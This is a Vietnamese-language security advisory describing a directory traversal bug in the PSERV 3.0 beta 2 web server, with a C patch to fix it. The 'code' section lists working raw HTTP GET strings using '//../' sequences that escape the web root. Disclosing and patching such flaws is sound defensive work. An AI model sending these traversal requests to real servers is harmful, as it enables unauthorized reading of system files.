Lỗi Webserver PSERV - 3.0 beta 2
trang này đã được đọc lầnTác giả : Donato Ferrante
Sản phẩm : PSERV web server
http://sourceforge.net/projects/pserv
Phiên bản: 3.0 beta 2
Lỗi : directory traversal bug
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
1. Mô tả
2. Lỗi
3. đoạn mã
4. Sửa lỗi
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
----------------
1. Mô tả : Là một Webserver loại nhỏ , được viết bằng C
----------------
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
------------
2 Lỗi lập trình
------------
Có thể truy vấn thư mục trong webserver nhờ các nhánh sượt ngang ( // ) . Lỗi
do mặc định duyệt HTTP trong webserver
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-------------
3. The code:
-------------
Ta Gửi đến webserver một chuỗi yêu cầu http
"GET //../ HTTP/1.0\r\n\r\n"
Lỗi nằm ở HTTP ( mặc định ) :
GET //../MY_PATH HTTP/1.0\r\n\r\n
GET /SOME_DIRECTORY//..//../ HTTP/1.0\r\n\r\n
Webserver cho phép bạn đi ra khỏi thư mục của webserver và đến các thư mục
khác trong hệ thông :)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
--------------
4. Sửa lỗi
--------------
http://sourceforge.net/projects/pserv, Download phiên bản mới hơn
Hoặc có thể sửa như sau :
--- main.c 2003-09-22 10:39:24.000000000 +0200
+++ patch.c 2003-12-19 12:40:47.000000000 +0100
@@ -455,6 +455,11 @@
dirName[1] = req.documentAddress[2];
dirName[2] = req.documentAddress[3];
dirName[3] ='\0';
+ if (dirName[0] == '/')
+ {
+ sayError(sock, FORBIDDEN, req.documentAddress, req);
+ return -1;
+ }
if (!strcmp(dirName, "../"))
{
sayError(sock, FORBIDDEN, req.documentAddress, req);
@@ -462,6 +467,15 @@
}
}
j = 0;
+ for(i = 1; i < sL; i++) {
+ if(req.documentAddress[i] == '/')
+ if(req.documentAddress[i+1] == '/')
+ {
+ sayError(sock, FORBIDDEN, req.documentAddress, req);
+ return -1;
+ }
+
+ }
for (i = 1; i < sL; i++) {
if (req.documentAddress[i] == '/')
{